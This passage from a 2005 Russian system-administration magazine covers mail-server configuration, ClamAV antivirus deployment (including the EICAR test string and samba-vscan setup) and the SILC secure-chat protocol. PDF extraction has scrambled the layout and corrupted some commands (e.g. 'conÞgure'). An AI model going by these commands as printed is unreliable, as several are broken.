DEFAULT _ DOMAIN net.lps # имя обслуживаемого доменаMYSQL _ SERVER localhost # доменное имя сервера БДMYSQL _ DATABASE TNMailServer # имя БДMYSQL _ USERNAME courier # имя пользователя БДMYSQL _ PASSWORD password # парольMYSQL _ OPT 0 MYSQL _ USER _ TABLE TNAccount # имя таблицы в БД# имя поля, содержащее адрес электронной почтыMYSQL _ LOGIN _ FIELD EmailAddressMYSQL _ NAME _ FIELD FullName # полное имя пользователяMYSQL _ CLEAR _ PWFIELD Password # пароль на почтовый ящик# путь к каталогу, в котором хранится содержимое# почтовых ящиковMYSQL _ HOME _ FIELD '/opt/vmail'# путь к почтовому ящику относительно пути, указанного# в MYSQL _ HOME _ FIELDMYSQL _ MAILDIR _ FIELD MailDirLocationMYSQL _ GID _ FIELD '96' # идентификатор группы# идентификатор пользователяMYSQL _ UID _ FIELD '96'# максимальный размер ящикаMYSQL _ QUOTA _ FIELD Quota# шаблон запросаMYSQL _ QUERY _ LASTREAD UPDATE TNAccount SET ↵ LastLogin=now() WHERE EmailAddress=�%s�

# telnet localhost 25

220 mail.net.lps ESMTP Postfix

HELO net.lps

250 mail.net.lps

MAIL FROM:"[email protected]"

250 OK

RCPT TO:"[email protected]"

250 OK

354 End data with <CR><LF>.<CR><LF>

# telnet localhost 110

AUTHMODULES = "authdaemon"

virtual _ minimum _ uid = 96virtual _ uid _ maps = static:96virtual _ gid _ maps = static:96

Page 53: 034 Системный Администратор 09 2005

51№9, сентябрь 2005

администрирование

Для получения доступа к письмам нужно ввести имя пользователя и пароль:

Ответ сервера:

Теперь нужно запросить количество писем в ящике. Это делается командой LIST.

Сервер выдаст ответ в следующем виде: «номер_сооб-щения его_размер»:

Для прочтения сообщения №1 дается команда RETR:

Убедившись, что сообщение дошло до адресата, от-ключаемся:

Настройка веб-интерфейсаТеперь необходимо предоставить доступ пользователям к почте. Есть два варианта:! Через порты (143 IMAP/110 POP3). Клиент может рабо-

тать с почтой через почтовые программы, например, The BAT!, Outlook Express.

! Через веб-интерфейс. Клиент работает с почтой через веб-интерфейс.

Второй способ более надежен, так как доступ к сете-вым портам открыт только с локальной машины. В данном проекте для доступа к почте используется SquirrelMail. При установке файлы программы копируются в каталог с веб-содержимым. Если пакет был установлен из архи-ва, взятого на сайте разработчика, то конфигурацион-ный файл SquirrelMail хранится в подкаталоге config паке-та. Разработчики ALM немного усовершенствовали пакет. Поэтому если SquirrelMail установлен из репозитария ALM, то конфигурационный файл хранится в подкаталоге /etc/squirrelmail. А в подкаталоге config находится только сим-волическая ссылка на файл. Однако файл править нет не-обходимости, так как разработчики пакета предусмотрели скрипт на языке Perl.

Запуская скрипт, мы интерактивно настраиваем все па-раметры. Скрипт называется config.pl, и находится он в под-каталоге config.

После запуска скрипта раскрывается меню. Настройки, касающиеся доступа к IMAP-серверу, отображаются после выбора второго пункта меню (Server Settings). Здесь указы-вается обслуживаемый домен (net.lps), доменное имя хос-та IMAP-сервера (localhost), а также конкретное название IMAP-сервера (courier).

После выбора пункта Save Data, данные записываются в конфигурационный файл.

Настройка FetchmailУтилита fetchmail позволяет забирать почту от провайдера интернет-услуг и передавать ее локальной почтовой служ-бе. Конфигурационный файл fetchmail всего один. Это /etc/fetchmailrc. В нем устанавливаются следующие параметры:

Здесь устанавливается интервал в секундах между запус-ками демона fetchmail. Почта забирается раз в 20 минут.

В этой строке указываются доменное имя сервера почты провайдера (gts.lg.ua) и протокол доступа к почте (POP3).

В этом параметре записывается имя домена, на кото-рый приходит почта.

Здесь записывается имя пользователя почты (politex) и его пароль (password). Строка «to * here» говорит серви-су, что полученную почту необходимо передавать локаль-ному SMTP-серверу.

Теперь на файл /etc/fetchmailrc надо назначить необхо-димые права доступа. Утилита fetchmail довольно чувстви-тельна к изменению прав на этот файл, и не запускается, если не выставлены необходимые права доступа. По умол-чанию владелец этого файла root. Изменяем его на поль-зователя fetchmail:

Права на этот файл должны быть следующими: владе-лец может выполнять любые операции, группа – только за-пускать на выполнение:

Примечание: после внесения изменений в конфигура-ционные файлы какого-либо сервиса, для того чтобы из-менения вступили в силу, необходимо его перезапустить. Для этого дается команда:

Перечень всех сервисов можно посмотреть в катало-ге /etc/rc.d/init.d.

В данной статье рассмотрено конфигурирование толь-ко самых необходимых компонентов. При желании вы мо-жете увеличить функциональность почтового сервера, добавляя дополнительные модули (например, антивирус и спам-фильтр).

+OK Hello there

USER [email protected] password

+OK Password required+OK logged in

1 942

RETR 1

QUIT

set daemon 1200

poll gts.lg.ua with proto POP3

localdomains politex-college.lg.ua

user 'politex' there with password 'password' to * here

# chown fetchmail:fetchmail /etc/fetchmailrc

# chmod 710 /etc/fetchmailrc

# service имя _ сервиса restart

Page 54: 034 Системный Администратор 09 2005

52

безопасность

ClamAV – антивирусная система, распространяемая под лицензией GPL. Постоянные обновления про-граммы и базы вирусов (не реже чем 3 раза в неде-

лю) дают понять, что проект активно поддерживается раз-работчиками из многих стран. Его возможности гораздо ши-ре, чем простое сканирование файлов на вирусы, об этом и пойдет сегодня речь.

Установка и конфигурированиеОб установке антивируса под различными операционны-ми системами уже писалось в предыдущих номерах жур-нала, но я хотел бы добавить несколько слов о возможнос-тях проверки RAR v3-архивов. До сих пор эта возможность не реализована в официальных версиях из-за проблем с лицензированием. Разработчики обещают, что в следую-щих версиях это будет исправлено, но пока нам остается либо ждать, либо добавить данную возможность самосто-

ятельно. Я выбираю последний вариант. На Opennet.ru бы-ли представлены несколько статей на эту тему, но ни од-на не смогла служить точным руководством, так или иначе возникали проблемы. Сборка проходила с ClamAV 0.86.2, libunrar 3.4.3.

Скачиваем исходные тексты libunrar с ftp://ftp.rarlab.com/rar/unrarsrc-3.4.3.tar.gz. Скачиваем и применяем патч: http://mcmcc.bat.ru/clamav/unrar-3.4.3_fix.patch:

Наложить исправление для версии 0.84, которое рас-положено на том же сайте, у меня не получилось. Заплат-ку пришлось немного подредактировать. Скачать ее мож-

ВСЕ ЛИ ВОЗМОЖНОСТИ ВСЕ ЛИ ВОЗМОЖНОСТИ CClamlamAVAVВЫ ИСПОЛЬЗУЕТЕ?ВЫ ИСПОЛЬЗУЕТЕ?

Антивирусная защита – одна из непосредственных и повседневных задач системного

администратора. Чтобы её обеспечить, требуется установить антивирусные пакеты с функцией

мониторинга на пользовательских компьютерах, обучить персонал, регулярно проверять все

жесткие диски «вручную». Но, как правило, наиболее эффективным и простым в обслуживании

является блокировка вирусов на сервере.

АНДРЕЙ АВРАМЕНКОАНДРЕЙ АВРАМЕНКО

# cd unrar# patch -p1 < unrar-3.4.3 _ Þx.patch# make -f makeÞle.unix lib# install -s -D -m 755 libunrar3.so /usr/lib/libunrar3.so# install -D -m 644 dll.hpp /usr/include/libunrar3/dll.hpp

Page 55: 034 Системный Администратор 09 2005

53№9, сентябрь 2005

безопасность

но на сайте журнала http://www.samag.ru в разделе «Ис-ходный код».

Для установки в ОС Linux я создал RPM и SRPM-паке-ты. Их можно скачать там же.

После установки есть смысл проверить работоспособ-ность сканера. Для этого в исходных текстах существует папка test. Зайдем в нее и выполним:

Результат должен быть примерно следующим (см. рис. 1):Если в каком-то файле не найден вирус, то вы невнима-

тельно следили за сообщениями скрипта configure. Напри-мер, если вирус не найден в архиве clam.exe.bz2, то скорее всего у вас не установлен пакет bzlib-devel.

Для тестирования можно также использовать тестовую вирусную сигнатуру, доступную по адресу: http://www.eicar.com/anti_virus_test_file.htm:

Ее необходимо сохранить в какой-то файл, например virus.txt, затем проверить запуском команды

В папке test отсутствуют файлы, запакованные rar3, поэтому для проверки этой функциональности необходи-мо создать архив с тестовой вирусной сигнатурой само-стоятельно.

ВозможностиРассматриваемая антивирусная система имеет широкие возможности, но большинство системных администрато-ров использует только некоторые из них, необходимые для решения какой-то определенной задачи.

Сканирование файлов с помощью ClamAVСканирование производится командой clamscan. Для эф-фективности можно вводить дополнительные параметры, например:! clamscan -r /directory – рекурсивное сканирование, т.е.

сканирование в подкаталогах;! clamscan -i – показывать только инфицированные фай-

лы;! clamscan -move=/infected_files_dir – перемещение инфи-

цированных файлов в отдельную директорию;! clamscan -remove – удаление инфицированных фай-

лов.

Последний параметр я не рекомендую использовать, т.к. не редкость когда ClamAV ошибается. В моей практи-

ке был случай, ког-да ClamAV находил вирус Oversided.zip в zip-архивах. При распаковке архивов антивирусная сис-тема считала фай-лы неинфицирован-ными. Мы прово-дили специальную проверку запако-ванных файлов аль-тернативными про-дуктами – вирусы найдены не были.

При обнаруже-нии вируса clamscan отобразит это в ста-тистике сканирования (см. рис. 2).

Регулярность полного сканирования файловой систе-мы сервера на вирусы зависит от нескольких параметров, таких как ресурсы сервера, предоставляемые сервисы, требуемая надежность и т. п. Вы сами должны выбрать не-обходимую частоту. Некоторые специалисты рекоменду-ют запуск сканирования из cron по расписанию, хотя это и небезопасно, так как для этой программы не редкостью является подверженность отказу от обслуживания, прав-да, эти проблемы вовремя устраняются разработчиками в очередных версиях.

Если необходима дополнительная функциональность, такая как on-access-проверка файлов или интеграция с MTA, то требуется запуск демона clamd. Для этого необходимо отредактировать конфигурационный файл clamd.conf.

Если необходимо, чтобы сканирование проходило с ис-пользованием демона clamd, нужно воспользоваться коман-дой clamdscan. Она является урезанной версией clamscan. После нахождения вируса clamd создаст соответствующую запись в лог-файле и выполнит определенное администра-тором действие (если данные опции включены в clamd.conf). Также этот способ сканирования более удобен при исполь-зовании проверки по расписанию.

Автоматическое обновлениеБаза вирусов регулярно обновляется. Для обновления ис-пользуется программа freshclam, которая берет настройки из конфигурационного файла freshclam.conf.

Для автоматического обновления достаточно поместить простой скрипт в cron:

Clamav-milter – сканирование почты на вирусыДля интеграции ClamAV с MTA необходимо выполнить:

На данный момент ClamAV поддерживает множество различных интерфейсов к MTA: amavisd-new, amavisd-ng,

# cd clamav-0.86.2# patch -p1 < clamav.086.2-libunrar3.patch# aclocal# autoconf# automake# ./conÞgure# make# make install

# clamscan *

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS- ↵ TEST-FILE!$H+H*

# clamscan virus.txt

# !/bin/shfreshclam

# ./conÞgure --enable-milter

Рисунок 1. Результат тестированияустановленного антивируса

Рисунок 2. Пример обнаружения вируса

Page 56: 034 Системный Администратор 09 2005

54

безопасность

CommunyGate Pro (модуль cgpav), Courier (модуль ClamCour), postfix (модули clamfilter, clamSMTP, clapf), exim (патч exiscan), qmail (модуль Gadoyanvirus), hMailServer, sendmail (модуль j-chkmail, mailness), MailAvenger и многие другие.

On-access сканер вирусов – ClamukoОдна из великолепных возможностей, которая реализова-на в ClamAV – Clamuko – сканирование файлов при попыт-ке их чтения или запуска. Она реализована с помощью мо-дуля ядра Dazuko. Когда я говорю о возможности провер-ки файлов при чтении, многие системные администраторы говорят, что это лишнее – вирусы в UNIX не живут. Это со-вершенно неверно, см. статью Криса Касперски о вирусах в UNIX [6]. Также данный вид проверки файлов подходит для файловых серверов. Я использую в своей локальной сети сервер с ОС Linux ALT Master 2.4 в качестве основного контроллера домена на базе Samba 3.0.14. Я ввел проверку перемещаемых профилей и общей сетевой папки.

Результаты небольшого тестирования скорости:1) копирование двух файлов общим размером 72 Мб:! без проверки антивирусом – 1,5 секунды;! с проверкой антивирусом – 45 секунд;

2) копирование 60 файлов общим размером 3 Мб:! без проверки антивирусом – менее секунды;! с проверкой антивирусом – 3 секунды;

3) копирование 540 файлов общим размером 24 Мб:! без проверки антивирусом – 1 секунда;! с проверкой антивирусом – 7 секунд.

Из этого небольшого теста можно сделать вывод, что задержка при проверке файлов сильно растет с увеличе-нием размера файлов. При проверке документов задерж-ка практически незаметна, даже если общий размер фай-лов достаточно большой.

Для установки модуля dazuko необходимо скачать пос-леднюю версию с официального сайта, разархивировать и выполнить:

В Linux:! для версии ядра Linux 2.2-2.4:

! для версии ядра Linux 2.6:

Во FreeBSD:

Samba-vscan – защита файлового сервераДанный проект от OpenAntiVirus создает расширение к фай-ловому серверу Samba – проверка на вирусы, которая

осуществляется с помощью ClamAV, Kaspersky AntiVirus, Symantec AntiVirus Engine и некоторых других.

Данный проект отличается от предыдущего тем, что нет необходимости подключать дополнительные модули ядра и не проводится локальная проверка файлов.

Установка для Samba версий 2.2.4 и выше отличается. Я не стану описывать установку для старых версий и оста-новлюсь на Samba 3.

Для того чтобы установить samba-vscan, вам потребу-ются исходные тексты Samba: скачиваем, разархивиру-ем, заходим:

Скачиваем исходники samba-vscan, я использовал: http://www.openantivirus.org/snapshots/samba3-vscan-0.4.0-snapshot1.tar.gz.

Разархивируем, копируем в каталог исходных текстов Samba командой:

Далее правим конфигурационный файл smb.conf. Вы-бираем ресурс, который будет проверяться антивирусом, например:

Наиболее распространенные опции:! max file size = <value> – максимальный размер проверя-

емого файла.! verbose file logging = <boolean> – протоколировать ре-

зультаты проверки файлов. Если 1 – то все проверяе-мые файлы, если 0 – только инфицированные.

! scan on open = <boolean> – проверка при открытии фай-ла.

! scan on close = <boolean> – проверка при закрытии фай-ла.

! send warning message = <boolean> – отсылать winpopup сообщение клиенту при обнаружении вируса.

! infected file action = <quarantine|delete|nothing> – переме-щать в директорию «на карантин», удалять или только информировать.

! quarantine directory = <string> – директория для переме-щения файла «на карантин».

! exclude file types = <string> – исключить проверку следу-ющих типов файлов.

Перед запуском просмотрите /etc/samba/vscan-clamav.conf. Мне пришлось добавить в него:

# insmod dazuko.o# mknod -m 600 /dev/dazuko c g̀rep dazuko ↵ /proc/devices | sed "s/ .*//"̀ 0

# insmod dazuko.ko# mknod -m 600 /dev/dazuko c g̀rep dazuko ↵ /proc/devices | sed "s/ .*//"̀ 0

# /sbin/kldload ./dazuko.ko# mknod /dev/dazuko c 33 0

# ./conÞgure# make proto

# cp -ra samba-vscan-версия ↵ путь _ к _ исходникам _ Samba/examples/VFS# cd путь _ к _ исходникам _ Samba/examples/VFS/ ↵ samba-vscan-версия

# ./conÞgure# gmake# gmake install# cp -a clamav/vscan-clamav.conf /etc/samba

[vscan-directory] comment = virus-protected directory path = /tmp vfs object = vscan-oav vscan-clamav: conÞg-Þle = /etc/samba/vscan-clamav.conf writeable = yes browseable = yes guest ok = yes

# make

Page 57: 034 Системный Администратор 09 2005

55№9, сентябрь 2005

безопасность

Проблема как этой, так и предыдущей реализации on-access-сканирования при работе с Windows-клиентами – задержка при переходе между директориями. Дело в том, что windows упорно пытается найти значки в самих фай-лах, поэтому идет запрос на открытие файла. Антивирус-ная система, а точнее модули on-access сканирования не разбирают тип запроса и выполняют проверку при каждой попытке просмотреть значок. Из-за этого задержки меж-ду переходами по каталогам становятся заметны для ко-нечных пользователей. Решением данной проблемы в пос-леднем случае мог бы быть демон кэширования запросов firewall – vscancs от проекта OpenAntiVirus. Это программа, благодаря которой, не происходит сканирование файлов, не изменившихся после предыдущей проверки. Но дело в том, что она находится на стадии разработки и выпуще-на только альфа-версия.

Антивирусная проверка на прокси-сервереСуществует несколько решений для блокировки файлов на прокси-сервере, основанные на антивирусе ClamAV, некоторые из них были описаны в июльском номере жур-нала [7].! DansGuradian – прокси-сервер, который использует в ка-

честве «веб-браузера» squid или oops. Его возможнос-ти как прокси-сервера достаточно скудны, но антиви-русная защита и блокировка нежелательного контента организована хорошо. После блокировки пользовате-лю показывается страница, на которой указана причи-на блокировки. Аналогом DansGuardian является HAVP. Он также может использовать squid, но может выступать и как отдельный прокси-сервер.

! SquidClamAV Redirector – программа, написанная на язы-ке программирования python, которая позволяет скани-ровать файлы с определенными расширениями, зака-чиваемые через прокси-сервер squid.

! squid_vscan – очередное решение от проекта OpenAn-tiVirus. Это пакет исправлений для squid, позволяющий включить антивирусную проверку.

Snort-inline + ClamAVВ некоторых случаях необходима проверка данных, переда-ваемых по определенному протоколу. Идеальным решени-ем данной проблемы является snort_inline. Это расширение системы обнаружения атак snort, которое позволяет блоки-ровать данные, содержащие вирусы, используя iptables.

Графические интерфейсыСуществует огромное количество графических интерфей-сов для данной антивирусной системы: AVScan, BeClam, Clamaktion, ClamShell, ClamTk, clamXav, FETCAV, KlamAV, QtClamAVclient, wbmclamav. Наиболее функциональным графическим интерфейсом для KDE является KlamAV (см. рис. 3).

Он позволяет on-access-сканирование, сканирова-ние вручную, введение карантина для зараженных фай-лов, автоматическое обновление, проверка почты (Kmail/Evolution).

ClamWin – антивирусное решение для Windows-систем. Первоначально ClamAV писался для ОС семейства UNIX, впоследствии он был адаптирован и к ОС Windows, запус-каясь в эмуляторе cygwin. В отличие от UNIX-версии возмож-ности его более скудны. Вот уже долгое время разработчи-ки обещают реализовать возможность on-access-сканирова-ния файлов, но пока результата нет. Мультиязыковой подде-ржки пока тоже нет, есть только перевод на некоторые языки «добровольцами». В целом программа предоставляет прос-той дружественный пользователю интерфейс (см. рис. 4).

ЗаключениеОткрытый исходный код ClamAV дает возможность про-граммистам создавать новые проекты на базе этой ан-тивирусной системы, что существенно сказывается на ее популярности. В сравнении с коммерческими продуктами есть один проигрыш – отсутствие эвристического анали-за, хочется надеяться, что когда-нибудь эта функция бу-дет добавлена.

Литература, ссылки:1. http://www.clamav.net.2. http://www.clamwin.net .3. http://mcmcc.bat.ru/clam_rar3.html.4. http://www.openantivirus.org.5. http://www.dazuko.org.6. Касперски К. Вирусы в UNIX, или Гибель «Титаника» II. –

Журнал «Системный администратор», №1, 2004 г. – 6-23 с.

7. Авраменко А. DansGuardian + ClamAV: фильтруем веб-содержимое и строим антивирусную защиту. – Журнал «Системный администратор», №7, 2005 г. – 6-8 с.

clamd socket name = /var/lib/clamav/clamd.socket

Рисунок 3. Графический интерфейс KlamAV

Рисунок 4. Внешний вид ClamWin

Page 58: 034 Системный Администратор 09 2005

56

безопасность

ПРОТОКОЛ SILC ОБЕСПЕЧИТ ВАМПРОТОКОЛ SILC ОБЕСПЕЧИТ ВАМБЕЗОПАСНУЮ КОНФЕРЕНЦ-СВЯЗЬБЕЗОПАСНУЮ КОНФЕРЕНЦ-СВЯЗЬ

Передача информации надежно защищена виртуальными частными сетями, почта передается

в зашифрованном виде, доступ к закрытым данным на веб-сервере компании организован

исключительно при помощи https. Все сделано? Нет, не все.

СЕРГЕЙ ЯРЕМЧУКСЕРГЕЙ ЯРЕМЧУК

Page 59: 034 Системный Администратор 09 2005

57№9, сентябрь 2005

безопасность

Современный бизнес невоз-можно представить без совре-менных технологий. Мобиль-

ная связь и электронная почта при-шли на смену селекторным совеща-ниям. Хорошо в эту группу вписались и средства обмена сообщениями, под-держивающие различные протоко-лы AIM, ICQ, Yahoo, MSN, IRC, Jabber, Zephyr и даже такой малоизвестный, как Gadu-Gadu. Правда, у нас наиболь-шей популярностью пользуются ICQ, Jabber и IRC.

Но если сервер, реализующий один из этих протоколов, стоит внутри кон-тролируемой администратором сети, еще можно избежать проблем. А вот когда пользователь вынужден общать-ся с офисом с чужого компьютера, на-пример из интернет-кафе, в этом слу-чае весь разговор можно свободно перехватить. Кроме того, известны и атаки, использующие средства обме-на сообщениями [1]. Конечно, некото-рые реализации поддерживают шиф-рование, и в этом случае можно избе-жать проблем. Например, Jabber может быть настроен с поддержкой SSL для обмена между клиентом и сервером, плюс немало клиентов поддержива-ют шифрование с помощью GPG внут-ри протокола. Но при этом очень часто кодируются только данные, передава-емые в сообщении, и только в тех се-тях, где используется шифрование, ос-тавляя открытой работу в других се-тях. Опускаются аутентификация со-общения и пакета, управление клю-чами и другие немаловажные вопро-сы безопасности. Все это вместе со-здает больше иллюзию безопаснос-ти. Но если необходимы многополь-зовательские конференции, то здесь альтернативы IRC (Internet Relay Chat) практически нет. А вот при настрой-ке серверов IRC разговор о шифрова-нии, как правило, не идет [2] по изло-женным выше причинам.

Протокол SILCОсновной идеей протокола SILC (Secure Internet Live Conferencing) яв-ляется обеспечение безопасностного общения по незащищенным каналам. В общем случае SILC очень похож в ис-пользовании на IRC, вплоть до совпа-дения основных характеристик (име-на, каналы, частные сообщения, по-иск пользователя, блокировка неже-

лательных частных и канальных сооб-щений и прочее). Более того, совпа-дают даже основные команды (всего SILC поддерживает около 30 команд). Но на этом все сходство в принципе и заканчивается. Основное различие между ними – защита передаваемой информации в SILC. Причем шифрова-ние – это базовая часть протокола, а не опциональная функциональность, ко-торую можно отключать. Так сказать, security by default. Особенно отмечу, что SILC основан не на IRC и они не-совместимы между собой.

Идея протокола принадлежит Пека Риконену (Pekka Riikonen), начало ра-бот датировано 1996 годом. До выхода первой версии, включавшей клиента и тестовый сервер, поддерживавшие ал-горитмы шифрования RSA и 3DES код был переписан заново три раза. Рабо-тало это все из рук вон плохо. Генера-тор случайных чисел, взятый с RNG, используемого в SSH, переписывал-ся два раза. Работа постоянно оста-навливалась. Но все равно в 1998 го-ду была добавлена поддержка алго-ритма ElGamal, а код был переписан на C++. Хотя в следующем году код опять переписывается на С, основ-ные части протокола перерабатыва-ются и спецификация подается в IETF (Internet Engineering Task Force – http://www.ietf.org). И как результат летом 2000 года протокол представлен об-щественности. С тех пор была проде-лана большая работа как по усовер-шенствованию протокола, так и по раз-работке софта, протокол получил при-знание. SILC распространяется по ли-цензии GNU GPL.

Что предлагает SILC?Учитывая, что SILC появился на десять лет позже IRC, у его разработчиков бы-ла возможность поучиться на чужих ошибках и учесть неудачные решения. Поэтому SILC обеспечивает более бо-гатый набор характеристик и является самым удобным протоколом для обще-ния пользователей из используемых в настоящее время. Но на первом мес-те у нас безопасность, поэтому с нее и начнем. Хотя стоит, наверное, отме-тить, что разработчики не изобретали велосипед и все решения в общем-то традиционные.

Протокол обеспечивает защи-щенную передачу и аутентификацию

между клиентом и сервером, серве-ром и сервером, и между клиентами в приватной беседе при помощи шиф-ров AES, twofish, CAST, serpent, rc6 и mars с использованием CBC и CTR. По умолчанию используется длина ключа 256 бит, опционально можно вы-ставить 192 и 128. Протокол SILC име-ет собственный открытый ключ SILC, но также поддерживает открытые ключи SSH2, сертификаты OpenPGP, X.509 и SPKI.

В качестве открытого ключа SILC, который, правда, не сертифицирован и спецификация не определяет обще-ственную ключевую инфраструктуру, используются ключи RSA или DSS, включающие информацию об имени узла, имени пользователя, реальном имени и др.

Впрочем, разработчики открыты для общения, и при необходимости могут быть добавлены другие алго-ритмы и шифры.

Шифруются все сообщения, пос-ланные другим пользователям и ка-налам, пароли, команды и уведомле-ния. Передача незащищенных сооб-щений не предусмотрена. Протокол разрабатывался с четким понимани-ем механизмов наиболее распростра-ненных атак, поэтому известные пас-сивные и активные атаки (man-in-the-middle, повторение, подмена IP и пр.) будут неэффективны. Транспортный уровень защищен с гарантией под-линности закодированных пакетов, использованием кода аутентифика-ции сообщения (Message Authentication Codes – МАС), с применением алгорит-мов hmac-sha1-96, hmac-md5-96, hmac-sha1, hmac-md5. При этом использует-ся метод Encrypt-Then-MAC, когда со-общение шифруется и затем вычисля-ется МАС, включающий и номер пос-ледовательности. Вектор инициали-зации (IV), использованный в шифро-вании, по умолчанию не включен в за-шифрованный текст.

Ключи генерируются протоколом SILC Key Exchange (SKE), являющим-ся частью протокола SILC. SKE исполь-зует цифровую подпись и алгоритм об-мена ключей Diffie-Hellman (с группа-ми 1024, 1536 и 2048 бит). Заголовки и данные кодируются сеансовыми клю-чами, а канальные и частные сообще-ния кодируются специфическими клю-чами. Каждый канал использует такой

Page 60: 034 Системный Администратор 09 2005

58

безопасность

ключ (channel specific keys), которым кодируются и подписы-ваются все канальные сообщения. Сеансовые и канальные ключи сервер может периодически регенерировать. Также канал имеет свой способ аутентификации, основанный на имени или ключе.

Частные сообщения по умолчанию обеспечиваются се-ансовыми ключами, но они могут также использовать спе-цифические ключи частного сообщения (private message specific keys), которые можно получить, выполнив SKE между двумя пользователями сети SILC. Полученные при этом ключи могут быть использованы для кодирования частных сообщений или при передаче файлов. Эти сооб-щения смогут прочитать только передатчик и получатель, но так как сервер не знает об используемых при этом клю-чах, то не сможет их регенерировать, об этом должны за-ботиться сами пользователи. Можно использовать част-ные ключи, сгенерированные за пределами конкретной се-ти SILC. Все сообщения могут быть подписаны. Для умень-шения размера пакета их можно сжимать.

Учитывая, что ключ пользователя играет при аутентифи-кации далеко не последнюю роль, в SILC удалось реализо-вать то, что просто невозможно представить в IRC – здесь имя пользователя может быть не уникальным. Хотите быть Васей, без проблем. И хотя сервер может знать уже сотню Вась, в регистрации отказано не будет (если имя не пре-вышает 128 байт, на имя канала отводится 256 байт). Цен-трализованные сервисы, регистрирующие имена, в случае с SILC не нужны. Пользователь отличается от других таких же пользователей его реальным именем, именем пользо-вателя в системе, именем узла и наконец fingerprint его пуб-личного ключа. Правда, здесь же выплывает другая пробле-ма. Можно перепутать Васю-менеджера с Васей-директо-ром и рассказать ему все, что думаешь о начальстве. По-этому лучше перед выходом в приват убедиться при по-мощи команды WHOIS, с кем действительно имеешь де-ло. Недавно сервер, а затем и клиенты начали полностью поддерживать UTF-8 не только для текстовых сообщений, но и для ников и имен каналов, поэтому проблем с выбо-ром имени быть не должно.

Протокол SILC поддерживает услугу, называемую detaching (по умолчанию она активирована). Пользователь может отсоединиться от сервера, например, для того чтобы установить связь с другим сервером, но у других создает-ся иллюзия присутствия. Клиентов можно добавлять в свой watch list. При этом будет доступна информация о регистра-ции, выходе пользователя, смене имени, других регистра-ционных данных и ключах. Это удобно, так как в дальней-шем не придется разыскивать пользователя, если он вдруг решит сменить ник. Пользователь может запретить кому-либо отслеживать его.

Сетевая топология SILC также отличается от традици-онной древовидной, принятой в подобных протоколах. Сеть SILC формирует так называемую гибридную кольцевую сет-чатую сеть на уровне маршрутизатора и сеть типа «звез-да» на уровне серверов. Такая сетевая топология имеет лучшую масштабируемость и обеспечивает более быструю доставку пакетов. В случае же компрометации отдельного участка его можно просто отключить, пока администрато-ры не разберутся с проблемами. Маршрутизаторы и сер-

веры также имеют различия. Маршрутизатор владеет гло-бальной информацией, серверы сохраняют только локаль-ную. Сеть поддерживает также и резервные маршрутизато-ры (обычно это сервера, берущие на себя эту обязанность при отсутствии основного маршрутизатора).

Подобный протокол в настоящее время трудно пред-ставить без возможности передачи файлов между поль-зователями, поэтому такая функция изначально заложена и в SILC. Встроенным протоколом, применяемым для пере-дачи файлов, является SFTP (Secure FTP), хотя разработ-чики при необходимости готовы добавить любой другой. Весь поток при передаче, естественно, шифруется.

Но это еще не все. Спецификации протокола не ограни-чивают тип передаваемых сообщений. Поэтому кроме тек-стовых сообщений можно передавать MIME, видео- или ау-диоинформацию. Дополнительные сервисы позволяют рас-ширить возможности протокола без потери обратной сов-местимости. Например, сервис может оставлять сообщения для detaching клиенту, которые будут отданы, когда клиент «вернется» . К сообщениям могут добавляться флаги, ука-зывающие на то, как оно должно быть интерпретировано на стороне получателя.

Утилиты для работы с SILCНа сайте проекта доступно несколько утилит:! Сервер SILC – позволяет развертывать свои сети,

как общественные, включенные в общую структуру, так и внутренние. Поддерживает все возможности про-токола, работает только под UNIX-системами.

! SILC Map – полезная утилита, показывающая тополо-гию сети SILC, создает карты, позволяющие получить полную информацию о серверах и маршрутизаторах одним щелчком мыши.

! SILC Client – де-факто клиент сети SILC, поддерживает все нововведения, легкий, работает в консоли, имеют-ся версии для нескольких систем.

! SILC Gaim – графический клиент SILC.! SILC Toolkit и SILC Autodist – две утилиты, предназна-

ченные для разработчиков. Первая ориентирована на программных и прикладных разработчиков, желаю-щих внедрить поддержку SILC в свои продукты. Вторая представляет собой систему управления и ориентиро-вана на большие проекты.

Кроме того, на странице http://silcnet.org/community/links можно получить информацию о продуктах сторонних раз-работчиков.

Еще пару слов о клиентах. Предлагаемый проектом SILC Client на самом деле включает две утилиты, предна-значеные для общения в сети SILC. Сам silc и irssi с плаги-ном (http://irssi.org, плагин – http://penguin-breeder.org/silc). Но они могут заинтересовать только администратора, ря-довой пользовать без GUI жить не сможет. В более удоб-ный графический клиент Gaim поддержка SILC включена, начиная с версии 0.78, но в дистрибутивах он может быть собран без нее. В этом случае придется заняться его сбор-кой самостоятельно. Кроме них можно посмотреть на Silky (http://silky.sourceforge.net). Это довольно удобный кли-ент с GTK2-интерфейсом, распространяющийся в исход-

Page 61: 034 Системный Администратор 09 2005

59№9, сентябрь 2005

безопасность

ных кодах и работающий кроме UNIX-подобных систем и на Windows NT4/2000/XP (Windows 3.11/95/98/ME и CE он не поддерживает). На пользователей MacOS X ориенти-рован Colloquy (http://colloquy.info), поддерживающий и IRC. Список доступных серверов и маршрутизаторов SILC мож-но получить на странице http://silcnet.org/network. При выбо-ре адреса silc.silcnet.org вы будете подключены к ближай-шему серверу. По умолчанию сервер ожидает подключе-ние клиентов на 706 порту.

Установка сервераНаконец мы приблизились к главной цели статьи – уста-новке сервера SILC. При написании статьи использовался ALTLinux 2.4 Master, но я провел тест и на OpenBSD. Стоит упомянуть, что для FreeBSD доступны порты silc-client silc-server silky. В принципе сервер настолько прост в установ-ке и настройке, что с этим процессом без труда справит-ся начинающий администратор, установивший пару-дру-гую систем.

Скачиваем архив, распаковываем и конфигурируем.

В большинстве случаев можно обойтись без каких-либо опций конфигурирования, но я люблю, когда все настрой-ки хранятся в /etc.

В конце скрипт выдаст итоговую информацию.

Сервер генерирует пару ключей и записывает их в ка-талог с конфигурационными файлами. В документации на сайте, датированной 2003 годом, указано, что для за-пуска сервера необходимо создать отдельного пользова-теля и группу, от имени которогоон и будет работать. Сей-час по умолчанию он запускается от имени пользовате-

ля nobody, как и большинство других серверов, работаю-щих на компьютере, поэтому достаточно просто убедиться, что такой пользователь в системе существует.

При загрузке сервер считывает конфигурационный файл silcd.conf, находящийся в нашем случае в /etc/silc. Некоторые опции обязательны, другие дополнительные, и их можно не трогать.

# tar xvjf silc-server-1.0.tar.bz2# cd silc-server-1.0

$ ./conÞgure --sysconfdir=/etc/silc

